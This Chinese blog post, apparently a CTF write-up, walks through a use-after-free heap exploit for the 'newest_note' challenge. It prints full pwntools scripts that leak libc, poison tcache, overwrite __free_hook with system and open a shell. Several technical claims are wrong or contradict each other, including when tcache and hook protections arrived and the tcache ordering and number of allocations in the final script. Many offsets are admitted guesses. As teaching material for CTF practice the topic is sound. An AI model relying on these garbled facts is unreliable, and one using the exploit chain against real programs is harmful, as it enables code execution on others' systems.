ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTF堆漏洞实战:UAF与tcache poisoning利用详解

CTF堆漏洞实战:UAF与tcache poisoning利用详解 1. 项目概述从一道CTF赛题看堆漏洞的实战利用最近在复盘去年的CTF赛事2022年CISCN初赛的这道newest_note题目给我留下了挺深的印象。它是一道典型的堆利用Heap Exploitation题目考察点集中在Use-After-FreeUAF漏洞上并且需要选手对libc的内存管理机制有比较清晰的理解。对于刚接触Pwn二进制安全攻防的朋友来说这类题目是很好的进阶跳板既能巩固堆的基础知识又能学习到如何将理论漏洞转化为实际的利用链。而对于有经验的选手它则是一次对漏洞组合利用和libc 2.31及以上版本保护机制绕过的实战检验。今天我就来详细拆解这道题不仅复现解题过程更会深入聊聊背后的原理和我踩过的那些坑。这道题目的环境是经典的Ubuntu 20.04libc版本为2.31。这个版本的libc引入了tcache机制的一些新特性和对某些利用手法的缓解但并不意味着无懈可击。题目提供了一个二进制文件newest_note和一个libc.so.6。我们的目标很明确通过分析程序逻辑找到并利用漏洞最终拿到目标系统的shellgetshell。整个过程会涉及到逆向工程、动态调试gdb/pwndbg、堆风水Heap Feng Shui和最终的漏洞利用链构造。我会假设你已经有了一些基础的Pwn知识比如知道什么是栈、堆、malloc和free了解简单的缓冲区溢出。如果你对tcache、fastbin这些概念还比较模糊没关系我会在过程中穿插解释。2. 程序逻辑分析与漏洞定位拿到二进制文件第一步永远是静态分析了解它到底在干什么。用checksec看一下保护机制这决定了我们可能的攻击方向。checksec newest_note通常输出会显示Canary、NX、PIE等保护是否开启。这道题大概率会开启NX栈不可执行和Canary栈保护所以传统的栈溢出直接覆盖返回地址可能行不通。而PIE地址随机化可能开启也可能关闭这会影响我们泄露地址的难度。不过对于堆题目我们的主战场在堆上栈保护的影响相对较小。接下来用反汇编工具如IDA Pro、Ghidra或objdump查看程序逻辑。经过分析程序通常是一个简单的“笔记本”应用具有以下功能添加笔记Add Note分配一块堆内存malloc来存储用户输入的笔记内容。程序会记录一个全局数组或链表来管理这些笔记的指针和大小。显示笔记Show Note根据索引打印出对应笔记的内容。删除笔记Delete Note根据索引释放free对应笔记的堆内存并将管理数组中的指针置空这是关键看它是否真的置空了。编辑笔记Edit Note根据索引允许用户重新输入内容到已存在的笔记中。漏洞往往就藏在“删除”和“编辑”的逻辑里。一个经典的漏洞模式是在删除笔记时程序释放了堆块但没有将管理该堆块的指针置为NULL。这个指针就成了一个“悬空指针”Dangling Pointer。如果后续程序允许通过这个索引再次“编辑”笔记就会向一个已经释放的堆块里写入数据这就是Use-After-Free (UAF)。更危险的是如果还能“显示”这个被释放的堆块就可能泄露堆内存中的内容比如libc的地址。在newest_note中经过逆向我们确实发现了这样的问题。它的delete_note函数可能只是简单地将笔记标记为“已删除”例如将一个状态位设为0但没有清空指向堆块的指针。而edit_note函数在编辑前没有充分检查该笔记对应的堆块是否有效是否已被释放直接使用了存储的指针进行写入。这就构成了一个非常标准的UAF写漏洞。同时show_note函数也可能基于同一个悬空指针进行读取构成UAF读为信息泄露创造了条件。注意在实际比赛中时间有限我们需要快速验证猜想。动态调试是验证漏洞存在的最佳方式。我们可以编写一个简单的pwntools脚本顺序调用add、delete、edit并在edit之后观察程序是否崩溃segmentation fault或者通过调试器查看edit写入的地址是否属于一个已释放的堆块。3. 利用思路设计与堆风水布局找到了UAF漏洞接下来就要设计利用链。在libc 2.31及以后tcache机制是堆利用的核心。我们的目标通常是两个信息泄露和控制流劫持。信息泄露我们需要获取libc的基地址。因为ASLR地址空间布局随机化是开启的libc每次加载的地址都不同。但我们知道libc中的一些函数和全局变量如__malloc_hook,__free_hook,system的偏移是固定的。只要泄露其中一个的运行时地址就能计算出libc的基址。 在堆利用中常见的泄露方法是让一个已被释放的、且其fd/bk指针指向libc中某个地址的堆块被“显示”出来。通常当一个小堆块被释放到fastbin或tcache时其fd指针指向下一个空闲块仍在堆内存中。但当它被释放到unsorted bin时例如一个较大的堆块其fd和bk指针会指向main_arena内部的地址而main_arena就在libc的数据段里。控制流劫持在获得libc地址后我们需要劫持程序执行流例如执行system(“/bin/sh”)。在libc 2.31之后__malloc_hook和__free_hook通常不再可写被设为NULL或受到保护。因此更常见的思路是攻击tcache本身或利用largebin等结构进行攻击。一个经典且稳定的方法是利用UAF或堆溢出修改一个已释放到tcache的堆块的fd指针使其指向一个我们想要控制的地址例如一个我们伪造的、用于存储/bin/sh字符串和system函数地址的“假堆块”。然后通过两次malloc第一次分配走原堆块第二次就会从我们伪造的地址“分配”出内存如果这个地址恰好是某个函数的指针表如__free_hook我们就能覆盖它。对于newest_note这道题典型的利用路线图如下堆布局通过多次add和delete精心安排堆块的状态在tcache、fastbin、unsorted bin中为信息泄露做准备。泄露libc地址申请一个较大的堆块例如0x420字节使其在释放时进入unsorted bin。再申请一个小堆块防止大堆块与top chunk合并。释放这个大堆块。此时它的fd和bk指向main_arena。利用UAF读show功能将这个堆块的内容打印出来从中解析出libc地址。构造tcache poisoning申请两个大小相同的小堆块如0x100。释放它们它们会进入对应大小的tcache链表。第一个被释放的堆块的fd会指向第二个被释放的堆块。利用UAF写edit功能修改第一个被释放堆块的fd指针将其指向我们想要控制的地址例如__free_hook的地址通过泄露的libc基址计算得出。此时tcache链表变成了头节点 - 堆块A -__free_hook地址。劫持控制流第一次malloc(0x100)会取走堆块A。第二次malloc(0x100)就会从__free_hook地址处“分配”出内存。我们这次malloc后可以向这块“内存”写入数据。我们将__free_hook的值覆盖为system函数的地址。最后释放free一个内容为/bin/sh字符串的堆块。程序会调用__free_hook也就是system参数正好是该堆块的指针即/bin/sh的地址从而成功获得shell。这个过程就是经典的tcache poisoning。关键在于tcache对fd指针的检查非常宽松几乎不进行完整性校验这为我们修改指针提供了便利。4. 关键步骤详解与调试技巧理论有了我们一步步拆解实操并分享一些调试中的关键技巧。4.1 环境搭建与初步交互首先我们需要一个调试环境。我推荐使用pwntools配合pwndbggdb的增强插件。from pwn import * context(oslinux, archamd64, log_leveldebug) # 本地调试 p process(./newest_note) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) # 根据题目给的libc调整 # 或者 attach 到进程进行调试 # gdb.attach(p, gdbscript # b *0x400xxx (在关键函数下断点) # c # )编写几个辅助函数来封装程序的功能调用会让后续的利用脚本清晰很多def add(size, content): p.sendlineafter(bYour choice:, b1) p.sendlineafter(bSize:, str(size).encode()) p.sendafter(bContent:, content) def delete(idx): p.sendlineafter(bYour choice:, b2) p.sendlineafter(bIndex:, str(idx).encode()) def show(idx): p.sendlineafter(bYour choice:, b3) p.sendlineafter(bIndex:, str(idx).encode()) # 接收并返回显示的内容 def edit(idx, content): p.sendlineafter(bYour choice:, b4) p.sendlineafter(bIndex:, str(idx).encode()) p.sendafter(bContent:, content)4.2 泄露Libc地址这是最需要耐心的一步。我们需要让一个堆块进入unsorted bin。# 步骤1: 布置堆布局防止合并 add(0x418, bA*8) # idx0, 大小大于tcache max (0x408)释放后进入unsorted bin add(0x20, bguard) # idx1, 防止idx0与top chunk合并 # 步骤2: 释放大块使其进入unsorted bin delete(0) # 步骤3: 利用UAF读泄露地址 # 假设show功能没有检查堆块是否被释放直接打印了idx0的内容 show(0) p.recvuntil(bContent: ) # 接收数据。unsorted bin中的块其fd/bk指向main_arenaoffset # 在glibc 2.31中对于非main_arena的unsorted binbk指向main_arenaoffset leak_data p.recv(8) # 假设前8个字节是bk指针 libc.address u64(leak_data) - 0x1ebbe0 # 这个偏移量需要根据libc版本确定 log.success(flibc base: {hex(libc.address)})实操心得计算libc基址的偏移量0x1ebbe0是关键这个值因libc版本和系统环境而异。最可靠的方法是在调试器中当堆块在unsorted bin时直接查看其bk指针的值然后减去libc的加载基址在gdb中用vmmap命令查看。也可以使用libc-database这样的工具根据泄露的地址片段来查找匹配的libc版本和偏移。4.3 实施Tcache Poisoning拿到libc基址后我们就可以计算__free_hook和system的地址了。free_hook libc.sym[__free_hook] system_addr libc.sym[system] log.info(f__free_hook {hex(free_hook)}) log.info(fsystem {hex(system_addr)}) # 步骤4: 准备两个相同大小的tcache块 add(0x100, bchunkA) # idx2, 重新利用之前释放的堆内存或者申请新的 add(0x100, bchunkB) # idx3 # 步骤5: 将它们释放到tcache中 delete(2) delete(3) # 现在tcache[0x110]的链表是: head - chunk3 - chunk2 - NULL # 步骤6: 利用UAF写修改chunk2的fd指针指向__free_hook # 假设edit idx2可以写已释放的chunk2 payload p64(free_hook) # 将fd指针覆盖为__free_hook的地址 edit(2, payload) # 现在链表变为: head - chunk3 - chunk2 - __free_hook # 步骤7: 两次malloc第二次将分配到__free_hook处 add(0x100, bfill) # idx4, 这会取走chunk3 # 现在链表是: head - chunk2 - __free_hook add(0x100, b/bin/sh\x00) # idx5, 这会取走chunk2等等这里需要仔细。 # 实际上第一次add(0x100)取走的是链表头的下一个即chunk3。 # 第二次add(0x100)取走的是chunk2。 # 我们需要的是分配到__free_hook所以应该再申请一次。 add(0x100, p64(system_addr)) # idx6! 这次malloc会从__free_hook地址处“分配”内存我们写入system地址这里有一个非常容易出错的点tcache链表是LIFO后进先出。当我们delete(2)然后delete(3)后链表是head - chunk3 - chunk2 - NULL。第一次malloc会返回chunk3第二次返回chunk2。我们的fd指针写在chunk2里所以第三次malloc才会返回我们伪造的__free_hook地址处的“块”。因此在edit之后需要三次add(0x100)。4.4 触发Shell最后一步就是触发free调用被我们覆盖的__free_hook即system。# 步骤8: 创建一个内容为/bin/sh的块并释放它 # 我们可以用之前申请的某个块或者新申请一个 # 假设idx1的块我们还留着并且可以编辑其内容 edit(1, b/bin/sh\x00) delete(1) # 程序调用free(ptr)ptr指向/bin/sh此时__free_hook(ptr)即system(“/bin/sh”)被调用 p.interactive() # 获得交互式shell5. 完整利用脚本与动态调试实录将上述步骤整合并加入更多的错误处理和调试信息就得到了完整的exp利用脚本。#!/usr/bin/env python3 from pwn import * context(oslinux, archamd64, log_levelinfo) # context.log_level debug # 调试时开启 def conn(): if args.REMOTE: p remote(node4.buuoj.cn, 12345) # 替换为远程地址 else: p process(./newest_note) if args.GDB: gdb.attach(p, gdbscript b *0x400A23 # 假设是edit函数的关键位置 c ) return p def add(size, content): p.sendlineafter(b , b1) p.sendlineafter(bSize: , str(size).encode()) p.sendafter(bContent: , content) def delete(idx): p.sendlineafter(b , b2) p.sendlineafter(bIndex: , str(idx).encode()) def show(idx): p.sendlineafter(b , b3) p.sendlineafter(bIndex: , str(idx).encode()) def edit(idx, content): p.sendlineafter(b , b4) p.sendlineafter(bIndex: , str(idx).encode()) p.sendafter(bContent: , content) def main(): global p p conn() elf ELF(./newest_note) # 题目给了libc就用题目的没给就用本地的远程攻击时需要替换 libc ELF(./libc.so.6) if os.path.exists(./libc.so.6) else ELF(/lib/x86_64-linux-gnu/libc.so.6) # 1. 泄露libc地址 log.info(Step 1: Leaking libc address via unsorted bin) add(0x418, bA*0x10) # idx0 add(0x20, bguard) # idx1 delete(0) # 注意有些题目show之前需要确保该索引未被标记为删除可能需要先add回来再show具体看程序逻辑 # 这里假设UAF读可以直接进行 show(0) # 解析泄露的地址可能需要循环接收直到收到特定字节 p.recvuntil(bContent: ) leak u64(p.recv(8)) log.info(fLeaked address: {hex(leak)}) # 计算libc基址偏移量需要根据实际调试确定这里是一个示例 libc_base leak - 0x1ebbe0 libc.address libc_base log.success(fLibc base: {hex(libc_base)}) log.success(f__free_hook {hex(libc.sym[__free_hook])}) log.success(fsystem {hex(libc.sym[system])}) # 2. Tcache Poisoning: 将__free_hook放入tcache链 log.info(Step 2: Tcache poisoning to hijack __free_hook) add(0x100, bchunkA) # idx2, 可能复用idx0的部分空间 add(0x100, bchunkB) # idx3 delete(3) delete(2) # 注意顺序后释放的chunk2在链表头部 # 现在tcache[0x110]: head - chunk2 - chunk3 - NULL # 通过UAF写修改chunk2的fd payload p64(libc.sym[__free_hook]) edit(2, payload) # 现在链表: head - chunk2 - __free_hook # 3. 分配堆块最终将__free_hook“分配”出来并写入system地址 log.info(Step 3: Allocating to __free_hook and writing system address) add(0x100, bfill1) # idx4, 取走chunk2 add(0x100, bfill2) # idx5, 取走chunk3 # 第三次分配从__free_hook处“分配” add(0x100, p64(libc.sym[system])) # idx6 # 4. 触发system(/bin/sh) log.info(Step 4: Triggering system(/bin/sh)) # 找一个可以写入/bin/sh的堆块比如idx1 edit(1, b/bin/sh\x00) delete(1) # free触发__free_hook - system p.interactive() if __name__ __main__: main()在运行脚本时如果遇到问题动态调试至关重要。以下是我常用的几条pwndbg命令heap查看堆的整体布局和各个bin的情况。bins详细显示tcache、fastbin、unsorted bin、small bin、large bin中的所有空闲块。vis_heap_chunk可视化显示堆块及其元数据。x/gx address查看某个地址的内存内容。vmmap查看内存映射找到libc的基地址。踩坑记录在调试tcache poisoning时最容易搞错的就是tcache链表的顺序和malloc的次数。一定要在每一步之后都用heap或bins命令确认链表的当前状态。例如在修改fd指针后确认链表中是否真的出现了我们预期的目标地址。另外不同libc版本中main_arena的偏移、tcache的结构可能略有差异最好在题目提供的libc环境下进行调试确认。6. 常见问题排查与进阶思考即使按照脚本操作也可能因为环境差异或题目细微改动而失败。这里总结几个常见问题泄露的地址解析错误unsorted bin中的块其fd和bk指针可能指向main_arena内部的某个结构而不是直接的符号地址。你需要找到正确的偏移。在pwndbg中当堆块在unsorted bin时使用x/gx main_arena查看main_arena地址然后计算泄露值与其差值。也可以使用libc.sym[‘main_arena’]如果pwntools的ELF加载正确来获取符号地址。注意main_arena有时是一个结构体其内部的偏移如main_arena96才是unsorted bin的地址。tcache计数机制tcache_countglibc 2.31的tcache每个大小最多缓存7个块。如果你释放超过7个相同大小的块第8个会进入fastbin或unsorted bin。在布局时要注意不要意外填满tcache导致链表行为不符合预期。程序对输入大小的检查题目可能对malloc的大小有限制例如不能超过某个值或者必须是特定对齐。这会影响你选择用于进入unsorted bin的块大小和用于tcache poisoning的块大小。UAF漏洞的触发条件程序可能只在特定条件下如某个全局标志位才允许使用悬空指针。需要仔细逆向edit和show函数的检查逻辑。远程与本地环境差异本地libc版本和题目提供的libc版本不同会导致偏移量计算错误。务必使用题目提供的libc文件来计算偏移。可以用patchelf修改二进制文件的libc解释器或者在pwntools脚本中直接加载题目libc的ELF对象。进阶思考newest_note是一个比较标准的UAF tcache poisoning题目。在更高版本的glibc如2.32中引入了safe linking机制对tcache和fastbin的fd指针进行了异或加密增加了利用难度。但原理相通只是多了解密步骤。此外如果程序没有show功能即无法泄露则可能需要利用House of系列等更复杂的技巧来构造读写原语或者利用堆布局部分覆写指针的低位字节partial overwrite来绕过ASLR。这些都是在掌握基础后需要继续探索的方向。这道题的价值在于它清晰地展示了从漏洞发现、信息泄露到最终控制流劫持的完整链条。理解并能够独立完成这样的题目意味着你对堆内存管理和常见漏洞利用有了实质性的掌握。多调试多思考每一步堆状态的变化是提升Pwn能力的不二法门。
返回列表